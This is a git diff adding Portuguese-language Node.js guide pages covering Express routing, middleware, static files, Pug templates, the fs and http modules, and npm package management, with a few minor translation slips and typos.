+Podemos confirmar que o Express foi instalado corretamente de duas maneiras. Primeiro, haverá uma nova seção no arquivo `package.json` chamado `dependencies` sob o qual nosso Express existe:
+
+```json
+{ 
+  "name": "express-web-app", 
+  "version": "0.1.0", 
+  "description": "", 
+  "main": "index.js", 
+  "scripts": { 
+    "test": "echo \"Error: no test specified\" && exit 1" 
+  }, 
+  "keywords": [], 
+  "license": "MIT", 
+  "dependencies": { 
+    "express": "4.16.0" 
+  } 
+ } 
+```
+
+A segunda maneira é que uma nova pasta chamada `node_modules` apareceu de repente na raiz do diretório do nosso projeto. Esta pasta armazena os pacotes que instalamos localmente em nosso projeto.
+
+## Construindo um Servidor com Express
+
+Para usar nosso pacote instalado para o Express Framework e criar um aplicativo de servidor simples, criaremos o arquivo `index.js` na raiz do diretório do nosso projeto.
+
+```javascript
+const express = require('express'); 
+ const app = express(); 
+ 
+ app.get('/', (req, res) => res.send('Hello World!')); 
+ 
+ app.listen(3000, () => console.log('Example app listening on port 3000!')); 
+```
+
+Para iniciar o servidor, vá até o seu terminal e digite:
+
+```shell
+node index.js 
+```
+
+Isto irá iniciar o servidor. Este aplicativo mínimo irá escutar na porta 3000. Fazemos um pedido através de nosso navegador em `http://localhost:3000` e nosso servidor responderá com `Hello World` para o qual o navegador é o cliente e a mensagem será mostrada lá.
+
+A primeira linha do nosso código está usando a função `require` para incluir o módulo `express` . É assim que incluímos e usamos um pacote instalado a partir do npm em qualquer arquivo JavaScript em nosso projeto. Antes de começarmos a usar o Express, precisamos definir uma instância dele que manipule a solicitação e a resposta do servidor para o cliente. No nosso caso, é a variável `app` .
+
+`app.get()` é uma função que informa ao servidor o que fazer quando um pedido `get` na rota especificada é chamado. Ele tem uma função de retorno de chamada `(req, res)` que escuta o objeto `req` solicitação recebido e responde de acordo usando o objeto `res` response. Ambos `req` e `res` são disponibilizados para nós pelo framework Express.
+
+O objeto `req` representa a solicitação HTTP e possui propriedades para a cadeia de consulta de solicitação, parâmetros, corpo e cabeçalhos HTTP. O objeto res representa a resposta HTTP que um aplicativo Express envia quando recebe uma solicitação HTTP. No nosso caso, estamos enviando um texto `Hello World` sempre que uma solicitação é feita para a rota `/` .
+
+Por fim, `app.listen()` é a função que inicia uma porta e um host; no nosso caso, o `localhost` para as conexões escutar as solicitações recebidas de um cliente. Podemos definir o número da porta, como `3000` .
+
+## Anatomia de um aplicativo expresso
+
+Uma estrutura típica de um arquivo do servidor Express provavelmente conterá as seguintes partes:
+
+**Dependências**
+
+Importando as dependências, como o próprio express. Essas dependências são instaladas usando `npm` como fizemos no exemplo anterior.
+
+**Instantiations**
+
+Estas são as instruções para criar um objeto. Para usar o express, temos que instanciar a variável do `app` partir dele.
+
+**Configurações**
+
+Estas instruções são as configurações baseadas em aplicativos personalizados que são definidas após as instanciações ou definidas em um arquivo separado (mais sobre isso quando discutir a estrutura do projeto) e necessárias em nosso arquivo do servidor principal.
+
+**Middleware**
+
+Essas funções determinam o fluxo do ciclo de solicitação-resposta. Eles são executados após cada solicitação recebida. Também podemos definir funções de middleware personalizadas. Nós temos uma seção sobre eles abaixo.
+
+**Rotas**
+
+Eles são os terminais definidos em nosso servidor que ajudam a executar operações para uma solicitação específica do cliente.
+
+**Servidor de bootstrapping**
+
+O último que é executado em um servidor expresso é a função `app.listen()` que inicia nosso servidor.
+
+Agora começaremos a discutir as seções sobre as quais não discutimos anteriormente.
+
+## Roteamento
+
+Roteamento refere-se a como um aplicativo do lado do servidor responde a uma solicitação do cliente para um terminal específico. Esse endpoint consiste em um URI (um caminho como `/` ou `/books` ) e um método HTTP, como GET, POST, PUT, DELETE, etc.
+
+As rotas podem ser boas páginas da Web antigas ou terminais da API REST. Em ambos os casos, a sintaxe é sintaxe semelhante para uma rota pode ser definida como:
+
+```javascript
+app.METHOD(PATH, HANDLER); 
+```
+
+Os roteadores são úteis na separação de interesses, como terminais diferentes, e mantêm partes relevantes do código-fonte juntas. Eles ajudam na construção de código sustentável. Todas as rotas são definidas antes da chamada de função de `app.listen()` . Em um aplicativo típico Express, `app.listen()` será a última função a ser executada.
+
+### Métodos de roteamento
+
+HTTP é um protocolo padrão para um cliente e um servidor para se comunicar. Ele fornece métodos diferentes para um cliente fazer solicitação. Cada rota tem, pelo menos, função hanlder ou um retorno de chamada. Essa função de retorno de chamada determina qual será a resposta do servidor para essa rota específica. Por exemplo, uma rota de `app.get()` é usada para manipular solicitações GET e, em retorno, enviar uma mensagem simples como uma resposta.
+
+```javascript
+// GET method route 
+ app.get('/', (req, res) => res.send('Hello World!')); 
+```
+
+### Caminhos de Roteamento
+
+Um caminho de roteamento é uma combinação de um método de solicitação para definir os endpoints nos quais as solicitações podem ser feitas por um cliente. Os caminhos de rota podem ser strings, padrões de sequência ou expressões regulares.
+
+Vamos definir mais dois pontos de extremidade em nosso aplicativo baseado em servidor.
+
+```javascript
+app.get('/home', (req, res) => { 
+  res.send('Home Page'); 
+ }); 
+ app.get('/about', (req, res) => { 
+  res.send('About'); 
+ }); 
+```
+
+Considere o código acima como um site mínimo que tem dois pontos de extremidade, `/home` e `/about` . Se um cliente fizer uma solicitação para a página inicial, ele só responderá com a `Home Page` e, em `/about` , enviará a resposta: `About Page` . Estamos usando a função `res.send` para enviar a string de volta ao cliente se qualquer uma das duas rotas definidas for selecionada.
+
+### Parâmetros de roteamento
+
+Os parâmetros de rota são segmentos de URL nomeados que são usados ​​para capturar os valores especificados em sua posição na URL. `req.params` objeto `req.params` é usado neste caso porque tem acesso a todos os parâmetros passados ​​na url.
+
+```javascript
+app.get('/books/:bookId', (req, res) => { 
+  res.send(req.params); 
+ }); 
+```
+
+O URL de solicitação do cliente no código-fonte acima será `http://localhost:3000/books/23` . O nome dos parâmetros da rota deve ser composto de caracteres (\[A-Za-z0-9\_\]). Um caso de uso muito geral de um parâmetro de roteamento em nossa aplicação é ter a rota 404.
+
+```javascript
+// For invalid routes 
+ app.get('*', (req, res) => { 
+  res.send('404! This is an invalid URL.'); 
+ }); 
+```
+
+Se agora iniciarmos o servidor a partir da linha de comando usando o `node index.js` e tentarmos visitar a URL: `http://localhost:3000/abcd` . Em resposta, obteremos a mensagem 404.
+
+## Funções de Middleware
+
+As funções de middleware são aquelas que têm acesso ao objeto de solicitação ( `req` ), o objeto de resposta ( `res` ) e a `next` função no ciclo de solicitação-resposta do aplicativo. O objetivo dessas funções é modificar objetos de solicitação e resposta para tarefas como analisar corpos de solicitação, incluir cabeçalhos de resposta, fazer outras mudanças no ciclo de solicitação-resposta, encerrar o ciclo de solicitação-resposta e chamar a próxima função de middleware.
+
+A `next` função é uma função no roteador Express que é usada para executar as outras funções de middleware que sucedem o middleware atual. Se uma função de middleware incluir `next()` isso significa que o ciclo de solicitação-resposta foi encerrado lá. O nome da função `next()` aqui é totalmente arbitrário e você pode nomear o que quiser, mas é importante seguir as melhores práticas e tentar seguir algumas convenções, especialmente se estiver trabalhando com outros desenvolvedores.
+
+Além disso, ao escrever um middleware personalizado, não esqueça de adicionar a função `next()` a ele. Se você não mencionar `next()` o ciclo request-response será interrompido no meio do nada, e o servr pode fazer com que o cliente atinja o tempo limite.
+
+Vamos usar criar uma função de middleware personalizada para entender o conceito. Tome este código por exemplo:
+
+```javascript
+const express = require('express'); 
+ const app = express(); 
+ 
+ // Simple request time logger 
+ app.use((req, res, next) => { 
+   console.log("A new request received at " + Date.now()); 
+ 
+   // This function call tells that more processing is 
+   // required for the current request and is in the next middleware 
+   function/route handler. 
+   next(); 
+ }); 
+ 
+ app.get('/home', (req, res) => { 
+  res.send('Home Page'); 
+ }); 
+ 
+ app.get('/about', (req, res) => { 
+  res.send('About Page'); 
+ }); 
+ 
+ app.listen(3000, () => console.log('Example app listening on port 3000!')); 
+```
+
+Para configurar qualquer middleware, seja um personalizado ou disponível como um módulo npm, usamos a função `app.use()` . É como um caminho de parâmetro opcional e um retorno de chamada de parâmetro obrigatório. No nosso caso, não estamos usando o caminho do parâmetro opcional.
+
+```javascript
+app.use((req, res, next) => { 
+  console.log('A new request received at ' + Date.now()); 
+  next(); 
+ }); 
+```
+
+A função de middleware acima é chamada para cada solicitação feita pelo cliente. Ao executar o servidor, você notará que, para cada solicitação do navegador no nó de extremidade `/` , você será avisado com uma mensagem em seu terminal:
+
+```shell
+A new request received at 1467267512545 
+```
+
+As funções de middleware podem ser usadas para uma rota específica. Veja o exemplo abaixo:
+
+```javascript
+const express = require('express'); 
+ const app = express(); 
+ 
+ //Simple request time logger for a specific route 
+ app.use('/home', (req, res, next) => { 
+  console.log('A new request received at ' + Date.now()); 
+  next(); 
+ }); 
+ 
+ app.get('/home', (req, res) => { 
+  res.send('Home Page'); 
+ }); 
+ 
+ app.get('/about', (req, res) => { 
+  res.send('About Page'); 
+ }); 
+ 
+ app.listen(3000, () => console.log('Example app listening on port 3000!')); 
+```
+
+Desta vez, você verá apenas um prompt semelhante quando o cliente solicitar o terminal `/home` já que a rota é mencionada em `app.use()` . Nada será mostrado no terminal quando o cliente solicitar o endpoint `/about` .
+
+A ordem das funções de middleware é importante, pois elas definem quando chamar qual função de middleware. Em nosso exemplo acima, se definirmos a rota `app.get('/home')...` antes do middleware `app.use('/home')...` , a função de middleware não será invocada.
+
+### Funções de Middleware de Terceiros
+
+As funções de middleware são um padrão útil que permite aos desenvolvedores reutilizar o código dentro de seus aplicativos e até mesmo compartilhá-lo com outras pessoas na forma de módulos NPM. A definição essencial de middleware é uma função com três argumentos: request (ou req), response (res) e next, que observamos na seção anterior.
+
+Muitas vezes, em nosso aplicativo de servidor baseado em Express, estaremos usando funções de middleware de terceiros. Essas funções são fornecidas pelo próprio Express. Eles são como plugins que podem ser instalados usando npm e é por isso que o Express é flexível.
+
+Algumas das funções de middleware mais usadas em uma aplicação do Express são:
+
+#### bodyParser
+
+Ele permite que os desenvolvedores processem dados recebidos, como a carga útil do corpo. A carga útil é apenas os dados que estamos recebendo do cliente para serem processados. Mais útil com os métodos POST. É instalado usando:
+
+```shell
+npm install --save body-parser 
+```
+
+Uso:
+
+```javascript
+const bodyParser = require('body-parser'); 
+ 
+ // To parse URL encoded data 
+ app.use(bodyParser.urlencoded({ extended: false })); 
+ 
+ // To parse json data 
+ app.use(bodyParser.json()); 
+```
+
+É provavelmente uma das funções de middleware de terceiros mais usadas em qualquer aplicação Express.
+
+#### cookieParser
+
+Ele analisa o cabeçalho Cookie e preenche `req.cookies` com um objeto codificado por nomes de cookie. Para instalá-lo,
+
+```shell
+$ npm install --save cookie-parser 
+```
+
+```javascript
+const cookieParser = require('cookie-parser'); 
+ app.use(cookieParser()); 
+```
+
+#### sessão
+
+Essa função de middleware cria um middleware de sessão com opções dadas. Uma sessão é freqüentemente usada em aplicativos como login / inscrição.
+
+```shell
+$ npm install --save session 
+```
+
+```javascript
+app.use( 
+  session({ 
+    secret: 'arbitary-string', 
+    resave: false, 
+    saveUninitialized: true, 
+    cookie: { secure: true } 
+  }) 
+ ); 
+```
+
+### morgan
+
+O middleware morgan acompanha todas as solicitações e outras informações importantes, dependendo do formato de saída especificado.
+
+```shell
+npm install --save morgan 
+```
+
+```javascript
+const logger = require('morgan'); 
+ // ... Configurations 
+ app.use(logger('common')); 
+```
+
+`common` é um caso de formato predefinido que você pode usar no aplicativo. Existem outros formatos pré-definidos, como tiny e dev, mas você também pode definir seu próprio formato customizado usando os parâmetros de string que estão disponíveis para nós por morgan.
+
+Uma lista das funções de middleware mais usadas está disponível neste [link](https://expressjs.com/en/resources/middleware.html) .
+
+## Servindo arquivos estáticos
+
+Para servir arquivos estáticos, como folhas de estilo CSS, imagens, etc., o Express fornece uma função de middleware integrada `express.static` . Arquivos estáticos são aqueles arquivos que um cliente baixa de um servidor.
+
+É a única função de middleware que vem com o Express framework e podemos usá-lo diretamente em nosso aplicativo. Todos os outros middlewares são de terceiros.
+
+Por padrão, o Express não permite veicular arquivos estáticos. Temos que usar essa função de middleware. Uma prática comum no desenvolvimento de um aplicativo da Web é armazenar todos os arquivos estáticos no diretório 'público' na raiz de um projeto. Podemos servir esta pasta para servir arquivos estáticos incluem escrevendo em nosso arquivo `index.js` :
+
+```javascript
+app.use(express.static('public')); 
+```
+
+Agora, os arquivos estáticos em nosso diretório público serão carregados.
+
+```shell
+http://localhost:3000/css/style.css 
+ http://localhost:3000/images/logo.png 
+ http://localhost:3000/images/bg.png 
+ http://localhost:3000/index.html 
+```
+
+### Vários diretórios estáticos
+
+Para usar vários diretórios de ativos estáticos, chame a função de middleware `express.static` várias vezes:
+
+```javascript
+app.use(express.static('public')); 
+ app.use(express.static('files')); 
+```
+
+### Prefixo do caminho virtual
+
+Um prefixo de caminho de correção também pode ser fornecido como o primeiro argumento para a função de middleware `express.static` . Isso é conhecido como um _prefixo de caminho virtual,_ pois o caminho real não existe no projeto.
+
+```javascript
+app.use('/static', express.static('public')); 
+```
+
+Se agora tentarmos carregar os arquivos:
+
+```shell
+http://localhost:3000/static/css/style.css 
+ http://localhost:3000/static/images/logo.png 
+ http://localhost:3000/static/images/bg.png 
+ http://localhost:3000/static/index.html 
+```
+
+Essa técnica é útil ao fornecer vários diretórios para servir arquivos estáticos. Os prefixos são usados ​​para ajudar a distinguir entre os vários diretórios.
+
+## Motores de modelo
+
+Mecanismos de modelos são bibliotecas que nos permitem usar diferentes linguagens de modelo. Uma linguagem de modelo é um conjunto especial de instruções (estruturas de sintaxe e controle) que instrui o mecanismo como processar dados. Usar um mecanismo de modelo é fácil com o Express. Os motores de modelos populares, como Pug, EJS, Swig e Handlebars, são compatíveis com o Express. No entanto, o Express vem com um mecanismo de modelo padrão, o Jade, que é a primeira versão lançada do Pug.
+
+Para demonstrar como usar um mecanismo de modelo, usaremos o Pug. É um poderoso mecanismo de template que fornece recursos como filtros, includes, interpolação, etc. Para usá-lo, primeiro temos que instalar como um módulo em nosso projeto usando `npm` .
+
+```shell
+npm install --save pug 
+```
+
+Este comando irá instalar o pug e para verificar se instalado corretamente, basta dar uma olhada no arquivo `package.json` . Para usá-lo com nosso aplicativo primeiro, temos que defini-lo como o mecanismo de modelo e criar um novo diretório './views' onde armazenaremos todos os arquivos relacionados ao nosso mecanismo de modelo.
+
+```javascript
+app.set('view engine', 'pug'); 
+ app.set('views', './views'); 
+```
+
+Como estamos usando `app.set()` que indica a configuração em nosso arquivo do servidor, devemos colocá-los antes de definirmos qualquer rota ou função de middleware.
+
+Na direcotry `views` , crie um arquivo chamado `index.pug` .
+
+```pug
+doctype html 
+  html 
+    head 
+      tite="Hello from Pug" 
+    body 
+      p.greetings Hello World! 
+```
+
+Para executar esta página, adicionaremos a seguinte rota ao nosso aplicativo.
+
+```javascript
+app.get('/hello', (req, res) => { 
+  res.render('index'); 
+ }); 
+```
+
+Como já definimos o Pug como nosso mecanismo de modelo, no `res.render` não precisamos fornecer a extensão `.pug` . Essa função renderiza o código em qualquer arquivo `.pug` para HTML para o cliente exibir. Os navegadores só podem renderizar arquivos HTML. Se você iniciar o servidor agora e visitar a rota `http://localhost:3000/hello` você verá a saída `Hello World` renderizada corretamente.
+
+Em Pug, você deve notar que não precisamos escrever tags de fechamento nos elementos, como fazemos em HTML. O código acima será renderizado em HTML como:
+
+```html
+
+<!DOCTYPE html> 
+ <html> 
+   <head> 
+      <title>Hello from Pug</title> 
+   </head> 
+ 
+   <body> 
+      <p class = "greetings">Hello World!</p> 
+   </body> 
+ </html> 
+```
+
+A vantagem de usar um mecanismo de modelo em arquivos HTML brutos é que eles fornecem suporte para executar tarefas em dados. HTML não pode renderizar dados diretamente. Frameworks como Angular e React compartilham esse comportamento com mecanismos de modelo.
+
+Você também pode passar valores para o mecanismo de modelo diretamente da função de manipulador de rota.
+
+```javascript
+app.get('/', (req, res) => { 
+  res.render('index', { title: 'Hello from Pug', message: 'Hello World!' }); 
+ }); 
+```
+
+Para o caso acima, nosso arquivo `index.pug` será escrito como:
+
+```pug
+doctype html 
+  html 
+    head 
+      title= title 
+    body 
+      h1= message 
+```
+
+A saída será a mesma do caso anterior.
+
+## Estrutura do projeto de um aplicativo expresso
+
+Como o Express não impõe muito ao desenvolvedor que o utiliza, às vezes pode ser um pouco avassalador para qual estrutura de projeto se deve seguir. Ele não tem uma estrutura definida oficialmente, mas o caso de uso mais comum que qualquer aplicativo baseado em Node.js segue é separar tarefas diferentes em módulos diferentes. Isso significa ter arquivos JavaScript separados.
+
+Vamos percorrer uma estrutura típica de um aplicativo da web baseado no Express.
+```
+project-root/ 
+   node_modules/          // This is where the packages installed are stored 
+   config/ 
+      db.js                // Database connection and configuration 
+      credentials.js       // Passwords/API keys for external services used by your app 
+      config.js            // Environment variables 
+   models/                 // For mongoose schemas 
+      books.js 
+      things.js 
+   routes/                 // All routes for different entities in different files 
+      books.js 
+      things.js 
+   views/ 
+      index.pug 
+      404.pug 
+        ... 
+   public/                 // All static files 
+      images/ 
+      css/ 
+      javascript/ 
+   app.js 
+   routes.js               // Require all routes in this and then require this file in 
+   app.js 
+   package.json 
+```
+
+Esse padrão é comumente conhecido como MVC, model-view-controller. Simplesmente porque nosso modelo de banco de dados, a interface do usuário do aplicativo e os controladores (no nosso caso, rotas) são gravados e armazenados em arquivos separados. Este padrão de design que torna qualquer aplicativo da Web fácil de escalar se você quiser introduzir mais rotas ou arquivos estáticos no futuro e o código puder ser mantido.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/nodejs/file-system/index.md b/client/src/guide/portuguese/nodejs/file-system/index.md
new file mode 100644
index 0000000000..5b7d143d99
--- /dev/null
+++ b/client/src/guide/portuguese/nodejs/file-system/index.md
@@ -0,0 +1,82 @@
+##localeTitle: undefined
+ Sistema de arquivo
+
+O módulo do sistema de arquivos Node.js permite que você trabalhe com o sistema de arquivos em seu computador.
+
+O Node.js tem um conjunto de módulos integrados que você pode usar sem qualquer instalação adicional. Da mesma forma, o **módulo File System** contém um conjunto de funções que são necessárias para executar diferentes operações em arquivos, como a operação de leitura e gravação.
+
+Para incluir um módulo, use a função `require()` com o nome do módulo.
+
+```javascript
+const fs = require('fs'); 
+```
+
+Uso comum para o módulo do sistema de arquivos:
+
+*   Ler arquivos
+*   Crie arquivos
+*   Atualizar arquivos
+*   Deletar arquivos
+*   Renomear arquivos
+
+## Lendo um arquivo
+
+O método `fs.readFile()` é usado para ler arquivos no seu computador. São necessários três argumentos - nome do arquivo, codificação e uma função de retorno de chamada.
+
+Node.js código para ler o arquivo do seu computador e retornar o conteúdo para o console.
+
+```javascript
+const fs = require('fs'); 
+ fs.readFile('input.txt', 'utf-8', (err, data) => { 
+  if(err){ 
+  console.log(err); 
+  } 
+  else{ 
+  console.log("Content present in input.txt file : " + data.toString()); 
+  } 
+ }); 
+```
+
+O código acima lê um arquivo _input.txt_ do seu computador e retorna o conteúdo para o console.
+
+### Etapas para execução:
+
+*   Você deve ter o Node.js instalado em seu computador.
+*   Crie um arquivo _app.js_ e cole o código acima.
+*   Crie um arquivo _input.txt_ e escreva algum conteúdo nele.
+*   Agora abra seu console no diretório de trabalho e execute o `node app.js` comando `node app.js`
+
+_Nota_ : O arquivo input.txt deve estar presente no mesmo diretório em que seu arquivo de código Node.js está presente, caso contrário, ele lançará um erro.
+
+## Escrevendo em um arquivo
+
+O método `fs.writeFile()` aceita três argumentos - nome do arquivo, conteúdo e uma função de retorno de chamada.
+
+Código Node.js para gravar conteúdo em arquivo.
+
+```javascript
+const fs = require('fs'); 
+ fs.writeFile('output.txt', "New content added", (err, data) => { 
+    if(err){ 
+        console.log(err); 
+    } 
+    else{ 
+        console.log("The file is saved"); 
+    } 
+ }); 
+```
+
+O código acima cria um arquivo _output.txt_ e adiciona conteúdo _Novo conteúdo adicionado_ a ele.
+
+### Etapas para execução:
+
+*   Você deve ter o Node.js instalado em seu computador.
+*   Crie um arquivo _app.js_ e cole o código acima.
+*   Agora abra seu console no diretório de trabalho e execute o `node app.js` comando `node app.js`
+
+_Nota_ : Se o arquivo não existir, o método `fs.writeFile()` criará um arquivo e gravará o conteúdo nele. Pelo contrário, se o arquivo existir, ele substituirá o conteúdo do arquivo.
+
+## Recursos
+
+*   [API do Node.js](https://nodejs.org/api/fs.html#fs_file_system)
+*   [Escolas W3](https://www.w3schools.com/nodejs/nodejs_filesystem.asp)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/nodejs/http/index.md b/client/src/guide/portuguese/nodejs/http/index.md
new file mode 100644
index 0000000000..708c05067a
--- /dev/null
+++ b/client/src/guide/portuguese/nodejs/http/index.md
@@ -0,0 +1,43 @@
+##localeTitle: undefined
+ HTTP
+
+O Node.js tem um conjunto de módulos integrados que você pode usar sem qualquer instalação adicional. Da mesma forma, o **módulo HTTP** contém um conjunto de funções que são necessárias para transferir dados através do protocolo HTTP (Hyper Text Transfer Protocol).
+
+O módulo HTTP pode criar um servidor HTTP que ouve as portas do servidor e retorna uma resposta ao cliente.
+
+Para incluir um módulo, use a função `require()` com o nome do módulo.
+
+```javascript
+const http = require('http'); 
+```
+
+## Node.js como um servidor da Web
+
+O método `createServer()` é usado para criar um servidor HTTP. O primeiro argumento do método `res.writeHead()` é o código de status, `200` significa que tudo está OK, o segundo argumento é um objeto que contém os cabeçalhos de resposta.
+
+```javascript
+const http = require('http'); 
+ 
+ //create a server object: 
+ http.createServer((req, res) => { 
+  res.writeHead(200, {'Content-Type': 'text/plain'}); 
+  res.write('Hello World!'); //write a response to the client 
+  res.end(); //end the response 
+ }).listen(8000); //the server object listens on port 8000 
+ 
+ console.log("Server is listening on port no : 8000"); 
+```
+
+### Etapas para execução:
+
+*   Você deve ter o Node.js instalado em seu computador.
+*   Crie um arquivo _app.js_ e cole o código acima.
+*   Agora abra seu console no diretório de trabalho e execute o `node app.js` comando `node app.js`
+*   Abra seu navegador e digite `http://localhost:8000`
+
+_Nota:_ Para fechar o servidor, pressione `ctrl + C` no seu console para usuários do Windows.
+
+## Recursos
+
+*   [API do Node.js](https://nodejs.org/api/http.html#http_http)
+*   [Escolas W3](https://www.w3schools.com/nodejs/nodejs_http.asp)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/nodejs/index.md b/client/src/guide/portuguese/nodejs/index.md
new file mode 100644
index 0000000000..ac75002f55
--- /dev/null
+++ b/client/src/guide/portuguese/nodejs/index.md
@@ -0,0 +1,56 @@
+---
+title: Node.js
+localeTitle: Node.js
+---
+## Node.js
+
+O Node.js é um tempo de execução de JavaScript criado no mecanismo JavaScript V8 do Chrome. O Node.js usa um modelo de E / S sem bloqueio orientado a eventos que o torna leve e eficiente. O ecossistema de pacotes do Node.js, npm, é o maior ecossistema de bibliotecas de código aberto do mundo.
+
+#### Vamos acabar com isso.
+
+*   Tempo de execução de Javascript criado no mecanismo JavaScript V8 do Chrome.  
+    Cada navegador tem um mecanismo JavaSript embutido para processar arquivos JavaScript contidos em sites. O Google Chrome usa o mecanismo V8, que é criado usando o C ++. O Node.js também usa esse mecanismo super rápido para interpretar arquivos JavaScript.
+*   O Node.js usa um modelo controlado por eventos.  
+    Isso significa que o Node.js aguarda determinados eventos. Em seguida, ele age nesses eventos. Os eventos podem ser qualquer coisa, desde um clique até uma solicitação HTTP. Também podemos declarar nossos próprios eventos personalizados e fazer o node.js escutar esses eventos.
+*   O Node.js usa um modelo de E / S sem bloqueio.  
+    Sabemos que as tarefas de E / S levam muito mais tempo do que as tarefas de processamento. O Node.js usa funções de retorno para lidar com tais solicitações.
+
+Vamos supor que uma tarefa de E / S específica leve 5 segundos para ser executada. E queremos executar essa E / S duas vezes em nosso código.
+
+**Python**
+
+```python
+import time 
+ 
+ def my_io_task(): 
+  time.sleep(5) 
+  print("done") 
+ 
+ my_io_task() 
+ my_io_task() 
+```
+
+**Node.js**
+
+```node
+function my_io_task() { 
+    setTimeout(function() { 
+      console.log('done'); 
+    }, 5000); 
+ } 
+ 
+ my_io_task(); 
+ my_io_task(); 
+```
+
+Ambos parecem semelhantes, mas o tempo gasto para executar é diferente. O código python leva 10 segundos para ser executado enquanto o código Node.js leva apenas 5 segundos para ser executado.
+
+O Node.js leva menos tempo devido ao seu modelo de E / S sem bloqueio. A primeira chamada para `my_io_task()` inicia o cronômetro e o deixa lá. Ele não espera pela resposta da função, em vez disso, passa a chamar o segundo `my_io_task()` , inicia o cronômetro e o deixa lá.
+
+Quando o temporizador conclui sua execução, levando 5 segundos, ele chama a função e as impressões `done` no console. Já que ambos os temporizadores são iniciados juntos, eles se completam juntos e, portanto, levam o mesmo tempo.
+
+#### Mais Informações:
+
+*   [Site oficial do NodeJS](https://nodejs.org)
+*   [Gerenciador de versões de nó](https://github.com/creationix/nvm/blob/master/README.md)
+*   [n: Gerenciador interativo de versões do NodeJS](https://github.com/tj/n)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/nodejs/npm/index.md b/client/src/guide/portuguese/nodejs/npm/index.md
new file mode 100644
index 0000000000..37084d6034
--- /dev/null
+++ b/client/src/guide/portuguese/nodejs/npm/index.md
@@ -0,0 +1,339 @@
+---
+title: NPM
+localeTitle: NPM
+---
+## NPM
+
+O Node.js possibilita gravar aplicativos em JavaScript no servidor. Ele é baseado no tempo de execução do V8 JavaScript e escrito em C ++ - então é rápido. Originalmente, era destinado a ser um ambiente de servidor para aplicativos, mas os desenvolvedores começaram a usá-lo para criar módulos para ajudá-los na automação de tarefas locais. Desde então, todo um novo ecossistema de ferramentas baseadas em Node evoluiu para transformar a face do desenvolvimento de front-end.
+
+Para usar esses módulos (ou pacotes) no Node.js, precisamos instalá-los e gerenciá-los de maneira útil. É aí que entra o npm, o gerenciador de pacotes do Node. Ele instala os pacotes que você quer usar e fornece uma interface útil para trabalhar com eles.
+
+## Instalando o NPM
+
+Para instalar o `npm` , temos que baixar os binários do Nodejs no seu ambiente local. Os binários do Node.js incluem a versão mais recente do npm. Para verificar se:
+
+```shell
+npm -v 
+ 5.6.0 
+```
+
+Node Package Manager (NPM) fornece duas funcionalidades principais -
+
+*   Repositórios on-line para pacotes / módulos node.js que podem ser pesquisados ​​no `npmjs.com` .
+    
+*   Utilitário de linha de comando para instalar pacotes Node.js, fazer gerenciamento de versão e gerenciamento de dependência de pacotes Node.js.
+    
+
+## Instalando módulos usando o NPM
+
+`npm` pode instalar pacotes no modo local ou global. Por padrão, o NPM instala qualquer dependência no modo local. No modo local, ele instala o pacote em uma pasta node\_modules no diretório de trabalho pai. Este local é de propriedade do usuário atual. Pacotes globais são instalados em {prefixo} `/lib/node_modules/` que é de propriedade de root, onde {prefixo} é usualmente `/usr/ or /usr/local` . Isso significa que você teria que usar o sudo para instalar pacotes globalmente, o que poderia causar erros de permissão ao resolver dependências de terceiros, além de ser uma preocupação de segurança.
+
+### Instalando Pacotes no Modo Global
+
+Quaisquer pacotes instalados globalmente ficarão disponíveis na linha de comando. Usamos o sinalizador --global ou -g para instalar pacotes globalmente.
+
+```shell
+$ npm install uglify-js --global 
+```
+
+Podemos listar os pacotes globais que instalamos com o comando npm list.
+
+```shell
+$ npm list --global 
+ /usr/local/lib 
+ ├─┬ npm@5.6.0 
+ │ ├── abbrev@1.1.0 
+ │ ├── ansi-regex@2.1.1 
+ │ ├── ansicolors@0.3.2 
+ │ ├── ansistyles@0.1.3 
+ .................... 
+ └─┬ uglify-js@3.0.15 
+  ├─┬ commander@2.9.0 
+  │ └── graceful-readlink@1.0.1 
+  └── source-map@0.5.6 
+```
+
+A saída, no entanto, é bastante detalhada. Podemos mudar isso com a opção --depth = 0.
+
+```js
+$ npm list -g --depth=0 
+ /usr/local/lib 
+ ├── npm@5.6.0 
+ └── uglify-js@3.0.15 
+```
+
+### Instalando Pacotes no Modo Local
+
+Quando você instala pacotes localmente, normalmente faz isso usando um arquivo package.json.
+
+```shell
+npm install --save express 
+```
+
+Agora você pode usar este módulo no seu arquivo js como segue
+
+```js
+const express = require('express'); 
+```
+
+Os módulos locais são divididos em dois tipos de dependências: `devDepenednecies` e `dependencies` . A diferença entre esses dois é que devDependencies são módulos que são requeridos apenas durante o desenvolvimento, enquanto dependências são módulos que também são requeridos no tempo de execução. Para salvar uma dependência como devDependency na instalação, precisamos fazer um `npm install --save-dev` , em vez de apenas um `npm install --save` .
+
+Um bom atalho para instalar um devDependency que eu gosto de usar é o `npm i -D` . A abreviação de salvar uma dependência regular é `-S` vez de `-D` .
+
+### Instalando uma versão específica de um pacote
+
+Para fazer isso, mencionamos a versão do pacote que queremos instalar.
+
+```shell
+$ npm install underscore@1.8.2 -S 
+```
+
+Para remover uma dependência global, use o sinalizador `-g` .
+
+### Desinstalando Pacotes Locais
+
+O npm é um gerenciador de pacotes, portanto deve ser capaz de remover um pacote. Nós podemos remover o pacote:
+
+```shell
+$ npm uninstall underscore -S 
+```
+
+Para atualizar uma dependência global, use o sinalizador `-g` .
+
+### Atualizando um pacote
+
+Para atualizar um pacote, você pode fazer:
+```
+$ npm update underscore -S 
+```
+
+Para verificar se há uma atualização disponível para qualquer pacote associado ao nosso projeto:
+
+```shell
+$ npm outdated 
+ 
+ Package     Current  Wanted  Latest  Location 
+ underscore    1.8.2   1.8.3   1.8.3  project 
+```
+
+A coluna Atual nos mostra a versão instalada localmente. A última coluna nos informa a última versão do pacote. E a coluna Wanted nos diz a versão mais recente do pacote para o qual podemos fazer upgrade sem quebrar nosso código existente.
+
+## Gerenciando Dependências com o package.json
+
+Se não estiver usando um sinalizador específico e instalar um módulo como o `npm install express` instalará o módulo na pasta `node_modules` localmente, mas o `package.json` que mantém registros de todas as dependências que estamos usando em um projeto não será atualizado com nossa adição. Assim, o pacote será específico do desenvolvimento, não será instalado no ambiente runtimme. Certifique-se de usar sempre um sinalizador adequado e manter atualizado o arquivo `package.json` .
+
